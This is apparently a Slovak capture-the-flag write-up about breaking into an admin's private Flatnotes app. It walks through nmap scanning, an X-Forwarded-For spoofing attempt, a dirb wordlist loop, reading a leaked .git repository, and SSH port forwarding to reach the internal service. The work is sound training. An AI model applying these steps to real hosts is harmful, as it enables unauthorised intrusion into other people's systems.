Admin Johny si skúša nový poznámkový blok (online aplikáciu) pre zapisovanie poznámok. Myslí si, že dobre zabezpečil tak, že ju môže používať len on. Úloha je skontrolovať bezpečnostné prešľapy.
Klasicky sa pozriem najskôr, aké porty máme otvorené:
$ nmap -v -A notes.cypherfix.tcc
80
8080
8081
Web na 80tke presmerováva na 8080, na porte 8080 ani 8081 nič nevráti a cykluje.
Johny-station má otvorené porty 80 a 22. Keďže nemám žiadne ssh heslo (bude ho treba neskôr?), pozriem web na 80tke a tu máme default stránku Apache v.2.4.62, čo je aktuálna verzia (žiadne známe zraniteľnosti).
Vyzerá, že vedieť adresu pracovnej stanice admina je dôležité, skúšam preto fintu s proxy hlavičkou, či nejde o filter na adresu klienta:
wget -H 'X-Forwarded-For: 10.99.24.32, 198.51.100.1' http://notes.cypherfix.tcc
Ale nedá sa oklamať a ihneď ma odpojí.
Čo ma nenapadlo počas súťaže, je skúsiť viaceré slovníky pre hľadanie podadresárov na weboch. Spravil som si skript, ktorým precyklujem od najmenšieho po najväčší slovník cez "dirb":
if [ $# -lt 1 ]; then
echo "pouzitie: $0 http_cesta"
exit 1
fi
adr=$1
# PRECHADZAME SLOVNIKY OD NAJMENSICH
for list in `ls -Sr /usr/share/wordlists/dir*/*.txt`; do
dirb $adr $list -w | grep -v ^$ | grep -v ^---- | grep -v ^DIRB | grep -v ^By\ The | grep -v _TIME | grep -v ^URL_BASE | grep -v ^OPTION | grep -v ^GENERATED
done
echo "---hotovo"
Vypis pri hľadaní vyzerá nejak takto, kódy 403 sú všetky zamietnuté prístupy do existujúceho adresára:
+ http://johny-station.cypherfix.tcc/~news (CODE:403|SIZE:292)
$ wget http://johny-station.cypherfix.tcc/~johny/flatnotes/README.md
### Example Docker Run Command
```shell
docker run -d \
-e "PUID=1000" \
-e "PGID=1000" \
-e "FLATNOTES_AUTH_TYPE=password" \
-e "FLATNOTES_USERNAME=user" \
-e "FLATNOTES_PASSWORD=changeMe!" \
-e "FLATNOTES_SECRET_KEY=aLongRandomSeriesOfCharacters" \
-v "$(pwd)/data:/data" \
-p "8080:8080" \
dullage/flatnotes:latest
$ dirb http://johny-station.cypherfix.tcc/~johny/flatnotes
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
GENERATED WORDS: 4612
---- Scanning URL: http://johny-station.cypherfix.tcc/~johny/flatnotes/ ----
+ http://johny-station.cypherfix.tcc/~johny/flatnotes/.git/HEAD (CODE:200|SIZE:24)
$ git cat-file -p 47dab1229b328b6ec01c69c02c1a77d2651a2bf5
tree dc344f007390d239cbae812eb5d58d683a9af6a6
parent 43f1b8d3e5aeb7c4a2ee7d74da66aeb4fbe1c5b1
author johny <johny@cypherfix.tcc> 1729756244 +0000
committer johny <johny@cypherfix.tcc> 1729756244 +0000
User password for http://notes.cypherfix.tcc:8080
$ git cat-file -p dc344f007390d239cbae812eb5d58d683a9af6a6
040000 tree e4f6291d24ff5be68ade70a112e74c408e2ad81d .devcontainer
100644 blob 8f76471268e60468a825c16c9e29d1336e5dc723 .dockerignore
040000 tree 3351f25dc82df88e93ba4e4524adb9f900326b9b .github
100644 blob 5ab9246b2d2782a439d9a265e9f5243d20e28d11 .gitignore
100644 blob 2807b4ee799bacd17a4dab87fc0fe6417e74d3d1 .htmlnanorc
100644 blob 8499c183a3ca93e382363747e2cb826df6de31be CONTRIBUTING.md
100644 blob cd19987933c2823538c9f8187863c50cd3c03b9a Dockerfile
100644 blob 720b0152894f396c90d7912f6cada3d82c7854bb Dockerfile.experimental
100644 blob 1d1f6995566de6ea8922c80f9b6f9427360869fc LICENSE
100644 blob 9837bb80a86fc21e4f58cf1004520fef5adf58b8 Pipfile
100644 blob 243cd152d85a9a3ca09139149a7f3d52996634af Pipfile.lock
100644 blob edc31a067f706a617ff1f3343f9f971b3d677a06 README.md
040000 tree e6144e73ea17ea390df723cdea47d6159f0bdbb3 client
040000 tree db1419988fb16c8d55371e9083ecbf4855bd348d docs
100644 blob 4d52468c046c9acdae801d76b4717910a29d05da entrypoint.sh
100644 blob d28d86f0be6bacce26c0e17cbd0dc91ab4642411 healthcheck.sh
100644 blob a059e279290fccde79bc0277353debea0bc4e800 package-lock.json
100644 blob 1923fe6423469862a2900b0b2acd548fa9b2655a package.json
100644 blob daedffd2bf4950df77bf2c9d6920181331f4c48a postcss.config.js
100644 blob fd9c7aaffe1f84fff9c2f055238453693fe2457f prettier.config.js
100644 blob b3f362aeba3889e190e86751b473a47e54e4642b pyproject.toml
040000 tree 20d374c8cf88ee69a3e7c835f697f84c15d27014 server
100644 blob 100e8fad54c74843cec1e42cffa754b04d389771 tailwind.config.js
100644 blob 3faaad318d3e0a914f08a7dbb32e9a9cded8ab5a vite.config.js
$ ssh johny@johny-station.cypherfix.tcc
johny@johny-station.cypherfix.tcc's password:
Linux 09cbf1e9b00d 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Nov 20 11:02:43 2024 from 10.200.0.13
This account is currently not available.
Connection to johny-station.cypherfix.tcc closed.
$ ping notes.cypherfix.tcc
PING notes.cypherfix.tcc (10.99.24.33) 56(84) bytes of data.
64 bytes from 10.99.24.33: icmp_seq=1 ttl=63 time=43.5 ms
$ ssh -N -L 81:10.99.24.33:8080 johny@johny-station.cypherfix.tcc
$ telnet localhost 81
Trying ::1...
Connected to localhost.
Escape character is '^]'.
helo
HTTP/1.1 400 Bad Request
date: Tue, 03 Dec 2024 13:44:03 GMT
server: uvicorn
content-type: text/plain; charset=utf-8
content-length: 30
connection: close
- flag
- xs-search
- zips-tricks
- xssi-cross-site-script-inclusion
- xslt-server-side-injection-extensible-stylesheet-language-transformations
Žiadne komentáre:
Zverejnenie komentára